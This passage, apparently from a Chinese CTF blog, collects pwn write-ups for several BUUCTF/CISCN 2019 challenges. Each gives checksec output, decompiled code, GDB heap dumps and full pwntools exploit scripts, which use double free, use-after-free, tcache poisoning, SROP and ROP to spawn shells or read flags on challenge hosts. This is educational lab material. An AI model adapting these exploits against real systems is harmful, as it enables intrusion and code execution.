sh.sendlineafter("please input compary call:",call)

def show(idx):
sh.sendlineafter("choice:",'2')
sh.sendlineafter("index:\n",str(idx))

def free(idx):
sh.sendlineafter("choice:",'3')
sh.sendlineafter("index:\n",str(idx))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("ciscn_s_6")
else:
sh = remote(ip,port)
add(0x410,'aaaa','123')
add(0x20,"bbbb",'124')
add(0x20,"/bin/sh\x00",'125')

free(0)
show(0)
#0x7fffff3ebca0 (main_arena+96)
leak_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak_addr-96-0x10-libc.sym["__malloc_hook"]
free_hook=libc_base+libc.sym["__free_hook"]
system = libc_base+libc.sym["system"]

log.info("libc base=>%x",libc_base)
log.info("free_hook=>%x",free_hook)
log.info("system real=>%x",system)
#double free
free(1)
free(1)
add(0x28,p64(free_hook),'126')
add(0x28,'111','127')
add(0x28,p64(system),'128')
#GDB()
free(2)

sh.interactive()
if __name__ == '__main__':
main("node3.buuoj.cn","28066",0,0)

为什么是0x3c4b78?

动态调试出来,泄露的unsorted bin地址减去vmmap下查看的libc基址

add(0x410,‘aaaa’,‘123’),为什么是0x410?

因为add对申请的堆的大小没有限制,而申请一个大的堆块(>0x400),这个堆块被free后就会直接被分配进入unsorted bin

ciscn_2019_es_2

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}

vul

int vul()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s\n", &s);
read(0, &s, 0x30u);
return printf("Hello, %s\n", &s);
}

hack

int hack()
{
return system("echo flag");
}

因为有system,可以不用libc_leak,但是要泄露EBP

====system("/bin/sh\x00")
====must size()=0x28=40
====then can overflow
| a*4 |
| a*4 |
| Addr_1 |
| b*4 |
| sys_plt |
| sys_ret |
| Addr_2 |
| /bin |
| /sh\x00 |
| 对齐 |
=====ret_addr:
| Addr_3 |
==========
0x28+4=44=0x2c= Addr_3
Addr_1=44-4-4=36=0x24
Addr_2=44-4*5=24=0x1c(sys_ret不在ebp上偏移传参)

3.EXP

from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",29643)
elf = ELF("./ciscn_2019_es_2")

sys_addr = 0x8048400
#-------EBP_LEAK-------------
pl = 'a'*0x20+"b"*8
p.send(pl)
p.recvuntil('b'*8)
ebp = u32(p.recv(4))
print(hex(ebp))

pl2=('a'*8+p32(ebp-0x24)+'bbbb'+p32(sys_addr)+'cccc'+p32(ebp-0x1c)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp-0x2c)
#p32(sys_addr)+'aaaa'+p32(sh_addr)
p.send(pl2)

p.interactive()

ciscn_2019_es_7

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

vuln

; read(fd,buf,0x400)
; write(fd,buf,0x30)
; Attributes: bp-based frame
public vuln
vuln proc near ; CODE XREF: main+14↓p
buf = byte ptr -10h
; __unwind {
push rbp
mov rbp, rsp
xor rax, rax
mov edx, 400h ; count
lea rsi, [rsp+buf] ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_read
mov rax, 1
mov edx, 30h ; count
lea rsi, [rsp+buf] ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_write
retn
vuln endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
pop rbp
retn
; } // starts at 4004ED

分析syscall,发现只有readwrite

gadgets

gadgets         proc near
; __unwind {
push rbp
mov rbp, rsp
mov rax, 0Fh ; //constants.SYS_sigreturn
retn
gadgets endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov rax, 3Bh ; //execve
retn
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
pop rbp
retn
; } // starts at 4004D6

mov rax, 0Fh: 在syscall里面,0xf代表constants.SYS_sigreturn

mov rax, 3Bh: 在syscall里面,0x3b代表execve

所以要用SROP

3.EXP

from pwn import *
from LibcSearcher import *
#sh=process("./ciscn_2019_es_7")
context.log_level ='debug'
context.arch='amd64'
sh=remote("node3.buuoj.cn",27162)
syscall_ret=0x400517
read=0x4004f1
movrax_sigreturn=0x4004da
movrax_system=0x4004E2
sh.send("/bin/sh"+"\x00"*9+p64(read))
sh.recv(32)
stack_addr=u64(sh.recv(8))
log.success("stack: "+hex(stack_addr))
sh.recv(8)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 280 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
sh.send("/bin/sh"+"\x00"*9+p64(movrax_sigreturn)+p64(syscall_ret)+str(sigframe))
sh.interactive()

ciscn_2019_final_2

1.checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

老几样了

def add_int(add_type, add_num):
p.sendlineafter('> ', '1')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', '1')
p.sendafter('your inode number:', str(add_num))

def add_short(add_num):
p.sendlineafter('> ', '1')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', '2')
p.sendafter(':', str(add_num))

def remove(remove_type):
p.sendlineafter('which command?\n> ', '2')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))

def show(show_type):
p.sendlineafter('> ', '3')
p.sendlineafter('short int\n>', str(show_type))
if show_type == 1:
p.recvuntil(':')
elif show_type == 2:
p.recvuntil(':')
return int(p.recvuntil('\n'))

init

fd = open("flag", 0);
if ( fd == -1 )
{
puts("no such file :flag");
exit(-1);
}
dup2(fd, 666);
close(fd);

dup2(fd, 666)的意思是,newfd指向oldfd句柄指向的文件描述符结构,即原本是指向标准输出文件描述结构体的666指向了flag,这样一来,原本输出
到显示器终端的字符串就打印到test.file文件中了,这也是Linux操作系统的重定向实现方法

fileno()用来取得参数stream指定的文件流所使用的文件描述词
返回值 :返回和stream文件流对应的文件描述符。如果失败,返回-1

bye_bye

void __noreturn bye_bye()
{
char v0; // [rsp+0h] [rbp-70h]
unsigned __int64 v1; // [rsp+68h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("what do you want to say at last? ");
__isoc99_scanf("%99s", &v0);
printf("your message :%s we have received...\n", &v0);
puts("have fun !");
exit(0);
}

结合init可知,最后基本上就靠这个函数得到flag了

delete

if ( v1 == 1 && int_pt )
{
free(int_pt);
bool = 0;
puts("remove success !");
}
if ( v1 == 2 && short_pt )
{
free(short_pt);
bool = 0;
puts("remove success !");
}

释放指针指向的地址后,指针未置零

add

if ( v3 == 1 )
{
int_pt = malloc(0x20uLL);
if ( !int_pt )
exit(-1);
bool = 1;
printf("your inode number:");
v0 = (int *)int_pt;
*v0 = get_atoi();
*((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
puts("add success !");
}
if ( v3 == 2 )
{
short_pt = malloc(0x10uLL);
if ( !short_pt )
exit(-1);
bool = 1;
printf("your inode number:");
v1 = get_atoi();
*(_WORD *)short_pt = v1;
*((_WORD *)short_pt + 4) = *(_WORD *)short_pt;
puts("add success !");
}

每次分配的空间都是固定的

.bss

.bss:0000000000202050 int_pt          dq ?                    ; DATA XREF: show+4E↑r
.bss:0000000000202050 ; show+5A↑r ...
.bss:0000000000202058 public short_pt
.bss:0000000000202058 ; void *short_pt
.bss:0000000000202058 short_pt dq ? ; DATA XREF: show+7C↑r
.bss:0000000000202058 ; show+88↑r ...
.bss:0000000000202060 public _bool
.bss:0000000000202060 _bool dd ? ; DATA XREF: allocate:loc_F8C↑w
.bss:0000000000202060 ; allocate:loc_1009↑w ...
.bss:0000000000202064 align 8
.bss:0000000000202064 _bss ends

int_ptshort_pt均为全局指针变量

环境是ubuntu18,应该是用tcache累加得到一个unsorted bin,最后释放后得到libc base,得到fileno;然后利用house of spirit将stdin的fileno改为666,scanf就会从flag文件读取flag

GDB

over_lapping+libc_leak

#code:
add(1,0x30) #0x10
remove(1) #加入tcache
add(2,0x20) #0x20
add(2,0x20) #0x20
add(2,0x20) #0x20
add(2,0x20) #0x20
remove(2) #加入tcache
add(1,0x30) #0x10
remove(2) #加入tcache
addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)
gdb.attach(p)
#gdb
0x563281ce9250 PREV_INUSE {
mchunk_prev_size = 145,
mchunk_size = 145,
fd = 0x30,
bk = 0x30,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x563281ce92e0 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 33,
fd = 0x563281ce9250,
bk = 0x9250,
fd_nextsize = 0x0,
bk_nextsize = 0x20d01
}

其实是通过mchunk来实现合并,相关链接堆漏洞挖掘:08—chunk的mchunk_prev_size成员的空间复用

#code
for i in range(0, 7):
remove(1)
add(2, 0x20)
remove(1)
#gdb
0x55fcf5564250 PREV_INUSE {
mchunk_prev_size = 145,
mchunk_size = 145,
fd = 0x7f00598fcca0 <main_arena+96>,
bk = 0x7f00598fcca0 <main_arena+96>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bin
tcachebins
0x20 [ -1]: 0
0x90 [ 7]: 0x55fcf5564260 —▸ 0x7f00598fcca0 (main_arena+96) —▸ 0x55fcf55643e0 ◂— 0x0
.........................
unsortedbin
all: 0x55fcf5564250 —▸ 0x7f00598fcca0 (main_arena+96) ◂— 0x55fcf5564250

不断申请和释放,由于tcache最多只能存储7个chunk,所以之前的全部被分配进了unsorted bin,实现了chunk的合并,之后偶就是常规的找地址了

4.EXP

from pwn import *
context.log_level = "debug"
p = process("./ciscn_final_2")
elf = ELF('./ciscn_final_2')
libc = ELF('/home/joe1sn/libc/64/libc-2.27.so')

def add(add_type, add_num):
p.sendlineafter('which command?\n> ', '1')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
p.sendafter('your inode number:', str(add_num))

def remove(remove_type):
p.sendlineafter('which command?\n> ', '2')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))

def show(show_type):
p.sendlineafter('which command?\n> ', '3')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
if show_type == 1:
p.recvuntil('your int type inode number :')
elif show_type == 2:
p.recvuntil('your short type inode number :')
return int(p.recvuntil('\n', drop=True))
if __name__ == '__main__':
add(1,0x30)
remove(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
remove(2)
add(1,0x30)
remove(2)
addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)

for i in range(0, 7):
remove(1)
add(2, 0x20)
remove(1)

addr_main_arena = show(1) - 96
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70
log.success("libc base > %x",libcbase)
log.success("addr IO 2 1 stdin fileno > %x",addr__IO_2_1_stdin__fileno)
gdb.attach(p)
add(1, addr__IO_2_1_stdin__fileno)
add(1, 0x30)
remove(1)
add(2, 0x20)
remove(1)
addr_chunk0_fd = show(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)

p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')

p.interactive()

EXP来源 PwnKi-ciscn_2019_final_2

ciscn_2019_final_3

1.checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

只有add和remove

def add(idx,size,data):
p.sendlineafter("choice > ",'1')
p.sendlineafter("the index",str(idx))
p.sendlineafter("the size",str(size))
p.sendlineafter("something",data)
p.recvuntil('gift :')
return int(p.recvline()[2:],16)

def free(idx):
p.sendlineafter("choice > ",'2')
p.sendlineafter("the index",str(idx))

add

v1 = std::operator<<<std::char_traits<char>>(&std::cout, "input the size");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &size);
if ( (unsigned int)size <= 0x78 )
{
v2 = HIDWORD(size);
qword_2022A0[v2] = malloc((unsigned int)size);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "now you can write something");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
READ(qword_2022A0[HIDWORD(size)], size);
puts("OK!");
printf("gift :%p\n", qword_2022A0[HIDWORD(size)]);
}

对申请的堆的大小进行了判断,并且可以给我们挡墙申请堆块的地址

remove

if ( v2 > 0x18 )
exit(0);
free(qword_2022A0[v2]);

指针没有清零,所以我们可以多次释放来形成unsorted bin

然后释放unsorted bin,来泄露libc basemalloc hook

最后通过malloc hook+one gadget来getshehll

3.GDB

#code
heap=add(0,0x78,'a')#0
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3
add(4,0x78,'c')#4
add(5,0x78,'d')#5
add(6,0x78,'c')#6
add(7,0x78,'d')#7
add(8,0x78,'c')#8
add(9,0x78,'d')#9
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12
#dup (double free)
free(12)
free(12)
gdb.attach(p)
#输出> 0x557389971e70
#GDB
0x557389971e60 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 129,
fd = 0xa61,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x557389971ee0 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 33,
fd = 0xa62,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x81
}
0x557389971f00 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 129,
fd = 0xa63,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
........................
........................
0x557389972400 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 49,
fd = 0x557389972410,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/16gx 0x557389972400
0x557389972400: 0x0000000000000000 0x0000000000000031
0x557389972410: 0x0000557389972410 0x0000000000000000
0x557389972420: 0x0000000000000000 0x0000000000000000
0x557389972430: 0x0000000000000000 0x000000000000ebd1
0x557389972440: 0x0000000000000000 0x0000000000000000
0x557389972450: 0x0000000000000000 0x0000000000000000
0x557389972460: 0x0000000000000000 0x0000000000000000
0x557389972470: 0x0000000000000000 0x0000000000000000
#code
add(13,0x28,p64(heap-0x10))#4
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size
gdb.attach(p)
>>>之前的输出为0x561fb56f5e60
#GDB
0x561fb56f5e60 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 1057,
fd = 0xa0a,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
>>>这里的size位已经被修改成了0x421为后面做准备
#code
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7
add(17,0x18,'f')#8 get chunk1
gdb.attach(p)
>>>输出 0x55584522be60
#GDB
0x55584522be60 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 129,
fd = 0x7fbd07fc0a65,
bk = 0x7fbd07fca090 <main_arena+1104>,
fd_nextsize = 0x55584522be60,
bk_nextsize = 0x55584522be60
}
0x55584522bee0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 929,
fd = 0x7fbd07fc0a66,
bk = 0x7fbd07fc9ca0 <main_arena+96>,
fd_nextsize = 0x0,
bk_nextsize = 0x81
}
pwndbg> bin
tcachebins
0x20 [ 0]: 0x7fbd07fc9ca0 (main_arena+96) ◂— ...
0x30 [ -1]: 0
unsortedbin
all [corrupted]
FD: 0x55584522bee0 ◂— 0x7fbd07fc0a66
BK: 0x55584522bee0 —▸ 0x7fbd07fc9ca0 (main_arena+96) ◂— 0x55584522bee0

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
...................
0x55584521a000 0x55584523b000 rw-p 21000 0 [heap]
..................................
0x7fbd07bde000 0x7fbd07dc5000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so


>>>这里已经被修改为了unsorted bin,再次申请堆的话就是申请[0x562fe6debee0 PREV_INUSE]这块的bk,而且返回的地址是> bk = 0x7f22f4cccca0 <main_arena+96>

#开始计算libc base
>>> hex(0x7fbd07fc9ca0-0x7fbd07bde000)
'0x3ebca0'

[DEBUG] Received 0x33 bytes:
'OK!\n'
'gift :0x7fbd07fc9ca0\n'
'1. add\n'
'2. remove\n'
'choice > '
('0x7fbd07bde000', '0x7fbd07fc9c30')

4.EXP

from pwn import *
#context.log_level = "debug"
#p = process("./ciscn_final_3")
p = remote("node3.buuoj.cn",27672)
libc=ELF('./libc.so.6')

def add(idx,size,data):
p.sendlineafter("choice > ",'1')
p.sendlineafter("the index",str(idx))
p.sendlineafter("the size",str(size))
p.sendlineafter("something",data)
p.recvuntil('gift :')
return int(p.recvline()[2:],16)

def free(idx):
p.sendlineafter("choice > ",'2')
p.sendlineafter("the index",str(idx))

heap=add(0,0x78,'a')#0
log.info("chunks 0> 0x%x",heap)
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3
add(4,0x78,'c')#4
add(5,0x78,'d')#5
add(6,0x78,'c')#6
add(7,0x78,'d')#7
add(8,0x78,'c')#8
add(9,0x78,'d')#9
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12
#dup (double free)
free(12)
free(12)
#gdb.attach(p)
add(13,0x28,p64(heap-0x10))#4
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size
#gdb.attach(p)


#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7
add(17,0x18,'f')#8 get chunk1
#gdb.attach(p)
leak=add(18,0x18,'g')#9 get libc
libc_base =leak - 0x3ebca0
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
log.info("libc base 0x%x",libc_base)
log.info("malloc hook 0x%x",malloc_hook)
log.info("one gadget 0x%x",one_gadget)

#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell
p.sendline('1')
p.sendline('22')
p.sendline('0;cat flag')

p.interactive()

ciscn_2019_final_4

https://blog.csdn.net/seaaseesa/article/details/105855306

1.checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

sandbox

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x35 0x02 0x00 0x40000000 if (A >= 0x40000000) goto 0004
0002: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0004
0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0004: 0x06 0x00 0x00 0x00000000 return KILL

delete

unsigned __int64 delete()
{
int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("please don't patch this function!! I will check it!!");
puts("index ?");
_isoc99_scanf("%d", &idx);
if ( idx >= 0 && idx <= 31 && note[idx] )
free(note[idx]);
else
puts("invalid index");
return __readfsqword(0x28u) ^ v2;
}

uaf造成double free

程序只能orw,存在uaf,chunk->size大小随意,show可以泄露

3.思路

  • 在写name的时候伪造一个chunk头

  • 然后用uaf 泄露libcbase和environ

  • 利用environ找到name(fake_chunk),使用double free分配过去

  • 泄露canary,扩大rsp

  • 写orw的ropchain

4.EXP

#coding:utf8
from pwn import *

sh = remote('node3.buuoj.cn',25021)
#sh = process('./ciscn_final_4')
#sh = process('./test')
libc = ELF('libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
environ_s = libc.symbols['__environ']

fake_chunk = p64(0) + p64(0x81)
payload = 'a'*0xE8 + fake_chunk

sh.sendafter('what is your name?',payload)

def add(size,content):
sh.sendlineafter('>>','1')
sh.sendlineafter('size?',str(size))
sh.sendafter('content?',content)

def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('index ?',str(index))

def show(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('index ?',str(index))

#0
add(0x100,'a'*0x100)
#1
add(0x78,'b'*0x78)
#2
add(0x78,'c'*0x78)
#3
add(0x38,'d'*0x38)
#4
add(0x38,'e'*0x38)
#5
add(0x10,'d'*0x10)
#6
add(0x81,'f'*0x81)
#heap_size数组的0x81数据用于伪造chunk的size
heapsize6_addr = 0x0000000000602058
note_addr = 0x00000000006020C0

delete(0)
show(0)
sh.recvuntil('\n')
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
environ_addr = libc_base + environ_s
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
#add rsp, 0x148 ; ret
add_rsp_148 = libc_base + 0x00000000000353aa
openat_addr = libc_base + libc.sym['openat']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
print 'libc_base=',hex(libc_base)
print 'environ_addr=',hex(environ_addr)
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(heapsize6_addr - 0x8)) #7
add(0x78,'c') #8
add(0x78,'a') #9
#控制notesize以及note数组
payload = '\x00'*0x60
payload += p64(environ_addr) #ptr0
add(0x78,payload) #10
#泄露栈地址
show(0)
sh.recvuntil('\n')
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'stack_addr=',hex(stack_addr)
fake_chunk_stack_addr = stack_addr - 0x120
print 'fake_chunk_stack_addr=',hex(fake_chunk_stack_addr)
#利用同样的方法分配到栈上伪造的chunk
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(fake_chunk_stack_addr)) #11
add(0x78,'c') #12
add(0x78,'a') #13
#写栈
add(0x78,'d'*0x11) #14
#泄露canary
show(14)
sh.recvuntil('d'*0x11)
canary = u64(sh.recv(7).rjust(8,'\x00'))
print 'canary=',hex(canary)
#重新分配到fake_chunk_stack_addr,布置rop
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(fake_chunk_stack_addr)) #15
add(0x78,'c') #16
add(0x78,'a') #17
#由于长度不够输入,我们调用read继续输入rop
next_rop_addr = fake_chunk_stack_addr + 0x88
payload = 'a'*0x40
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(next_rop_addr) + p64(pop_rdx) + p64(0x1000) + p64(read_addr)
add(0x78,payload) #18

#由于无法触发main函数rop,因为有一个死循环,所以我们劫持new函数来rop到main后面
#接下来,分配到new函数的栈末尾处
fake_chunk_stack_addr2 = stack_addr - 0x246
#double free
delete(3)
delete(4)
delete(3)
add(0x38,p64(fake_chunk_stack_addr2)) #15
add(0x38,'c') #16
add(0x38,'a') #17

payload = 'd'*0x6 + p64(canary) + p64(0)
payload += p64(add_rsp_148) #跳到main函数后面的rop里
#new函数返回到add_rsp_148进而跳到main后面的rop里
add(0x38,payload)

flag_addr = next_rop_addr + 0x88
#openat(0,flag_addr,0)
rop = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdi) + p64(0) + p64(openat_addr)
#read(fd,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(flag_addr)
rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr)
rop += '/flag\x00'
sleep(0.5)
sh.send(rop)

sh.interactive()

ciscn_2019_n_1

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]

init(*(_QWORD *)&argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin("Welcome to this Encryption machine\n");
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin("I think you can do it by yourself");
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin("%d");
}
puts("Something Wrong!");
return 0;
}

encrypt

int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h]
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

没有binsh字符串,没有system函数,应该是一个puts函数泄露libc的题

BUUCTF的resource一栏有libc.so文件

3.EXP

from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",25460)

elf = ELF("./ciscn_2019_c_1")
libc = ELF("./libc-2.27.so")

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.sym["main"]

libc_puts = libc.sym["puts"]
system = libc.sym["system"]
binsh = next(libc.search('/bin/sh'))

pop_rdi = 0x0400c83
leave_ret = 0x04006b9

payload = 'A'*(0x50+8) + p64(pop_rdi)+ p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.recvuntil("Input your choice!\n")
p.sendline("1")
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload)

p.recvuntil('@\n')
puts_real = u64(p.recv(6).ljust(8,"\x00"))
libc_base = puts_real - libc_puts
system_real = system + libc_base
binsh_real = binsh + libc_base
payload = '\x00'*(0x50+8) + p64(leave_ret) + p64(pop_rdi) + p64(binsh_real) + p64(system_real)

p.recvuntil("Input your choice!\n")
p.sendline("1")
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload)
p.interactive()

还有一个坑就是Ubuntu18下面调用system要对齐栈,就需要用一个ret
参照EXP:[https://www.jianshu.com/p/f6839b1e7283](

ciscn_2019_n_3

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

发现程序有三个功能

puts("1. New note");
puts("2. Del note");
puts("3. Show note");
puts("4. Purchase Pro Edition") //这个没用

rec_str_free

int __cdecl rec_str_free(void *ptr)
{
free(*((void **)ptr + 2));
free(ptr);
return puts("Note freed!");
}

free后指针未清零

3.GDB动态调试

//code:
newnote(0,2,'a'*10,0x88)
//gdb
0x8cf7000 FASTBIN {
prev_size = 0,
size = 17,
fd = 0x80486de <rec_str_print>,
bk = 0x8048725 <rec_str_free>,
fd_nextsize = 0x8cf7018,
bk_nextsize = 0x91
}
0x8cf7010 PREV_INUSE {
prev_size = 147812376,
size = 145,
fd = 0x61616161,
bk = 0x61616161,
fd_nextsize = 0xa6161,
bk_nextsize = 0x0
}

发现申请的堆里面含有rec_str_free的指针

我们可以利用UAF来修改指针,从而getshell

4.EXP

from pwn import *
context.log_level = 'debug'
elf = ELF("ciscn_2019_n_3")
p = process("./ciscn_2019_n_3")
#p = remote(rmt,port)

def newnote(idx,type,value,length=0):
p.recvuntil("CNote > ")
p.sendline(str(1))
p.recvuntil("Index > ")
p.sendline(str(idx))
p.recvuntil("Type > ")
p.sendline(str(type))
if type == 1:
p.recvuntil("Value > ")
p.sendline(str(value))
else:
p.recvuntil("Length > ")
p.sendline(str(length))
p.recvuntil("Value > ")
if length == 8:
p.send(value)
else:
p.sendline(value)
def delnote(idx):
p.recvuntil("CNote > ")
p.sendline(str(2))
p.recvuntil("Index > ")
p.sendline(str(idx))
def shownote(idx):
p.recvuntil("CNote > ")
p.sendline(str(3))
p.recvuntil("Index > ")
p.sendline(str(idx))
if __name__ == "__main__":
newnote(0,2,'a'*10,0x88)
newnote(1,2,'a'*10,0x38)
gdb.attach(p)
newnote(2,1,0x41)
#newnote(2,2,'b'*10,0x38)
delnote(1)
delnote(2)
newnote(3,2,'aaaa'+p32(elf.plt['system']),0xc)
#gdb.attach(p)
newnote(4,2,"/bin/sh\x00",0x38)
delnote(1)

p.interactive()

ciscn_2019_n_5

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-20h]

setvbuf(stdout, 0LL, 2, 0LL);
puts("tell me your name");
read(0, &name, 0x64uLL);
